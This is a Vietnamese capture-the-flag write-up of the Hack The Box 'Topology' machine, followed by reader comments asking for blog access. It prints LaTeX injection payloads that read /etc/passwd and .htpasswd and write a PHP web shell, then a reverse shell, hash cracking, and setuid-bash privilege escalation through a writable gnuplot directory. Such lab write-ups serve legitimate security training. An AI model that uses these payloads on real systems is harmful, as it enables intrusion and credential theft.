Enumeration
Zenmap:
LaTeX
Kiểm tra website tôi tìm thấy đương link sau: http://latex.topology.htb/equation.phpTôi thấy rằng mình hoàn toàn có quyền thực thi command latex. LaTeX Injection
\newread\file
\openin\file=/etc/passwd
\read\file to\line
\text{\line}
\closein\file
\begin{filecontents}{shell.php}
<?php system($_GET['cmd']); ?>
\end{filecontents}
Sau đó tôi tìm thấy file tôi đã tạo trong:
Từ đây tôi có thể thực thi câu lệnh bất kỳ tới box. Tạo một Reverse Shell và tôi nhận được shell.PS D:\thehackbox\Machines\Topology> ncat.exe -l 8888
www-data@topology:/var/www/latex/tempfiles$ whoami
whoami
www-data
www-data@topology:/var/www/latex/tempfiles$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@topology:/var/www/latex/tempfiles$
*Update:
Vài ngày trước HTB đã fix lỗi viết file trong equation.php. Đây là bản update của tôi:Sử dụng tập lệnh:
$\lstinputlisting{/var/www/dev/.htpasswd}$
Tôi nhận được kết quả sau:
Gaining access vdaisley
www-data@topology:/var/www/latex/tempfiles$ cd ../../
cd ../../
www-data@topology:/var/www$ ls
ls
dev html latex stats
www-data@topology:/var/www$ cd dev
cd dev
www-data@topology:/var/www/dev$ ls -la
ls -la
total 40
drwxr-xr-x 2 www-data www-data 4096 Jan 17 12:26 .
drwxr-xr-x 6 root root 4096 May 19 13:04 ..
-rw-r--r-- 1 www-data www-data 100 Jan 17 12:26 .htaccess
-rw-r--r-- 1 www-data www-data 47 Jan 17 12:26 .htpasswd
-rw-r--r-- 1 www-data www-data 1068 Jan 17 12:26 LICENSE
-rw-r--r-- 1 www-data www-data 7101 Jan 17 12:26 index.html
-rw-r--r-- 1 www-data www-data 1715 Jan 17 12:26 script.js
-rw-r--r-- 1 www-data www-data 5730 Jan 17 12:26 styles.css
www-data@topology:/var/www/dev$ cat .htpasswd
cat .htpasswd
vdaisley:$apr*****************************xTY0
www-data@topology:/var/www/dev$
Tôi đã có user và pass mã hóa, crack nó và tôi có được người dùng vdaisley:
PS D:\thehackbox\Machines\Topology> ssh vdaisley@topology.htb
vdaisley@topology.htb's password:
vdaisley@topology:~$ ls
hi.txt LinEnum.sh user.txt
vdaisley@topology:~$
Privilege escalation
vdaisley@topology:~$ cd /opt
vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x 3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 May 19 13:04 ..
drwx-wx-wx 2 root root 4096 Jun 6 08:14 gnuplot
Tại đây tôi thấy rằng gnuplot cho phép ghi. Shell Gnuplot
Tạo một file trong gnuplot với nội dung:
system "chmod u+s /bin/bash"
Tôi đã nhận được kết quả trong pspy:
vdaisley@topology:/opt$ /bin/bash -p
bash-5.0# cd /root/
bash-5.0# ls
root.txt
bash-5.0#
Dear Sir/Madam,
I would like to make a special request to grant you an invitation to access your private blog. This blog is where you share personal thoughts, experiences, and knowledge, and I would like to become part of this exclusive community of readers. I greatly appreciate your presence and contribution as a writer, and kindly ask you to send me an invitation request. Thank you very much for your attention and time in reading my request. I hope you can to share your experiences and knowledge with me through your personal blog.
Best regards,
[Yansyah Wijaya]
pls check your mail.
log in with gmail
Do I need to leave my gmail address?
Contact me via telegram.
ok
How ?
I sent in your telegram me add in blog thanks
check your gmail.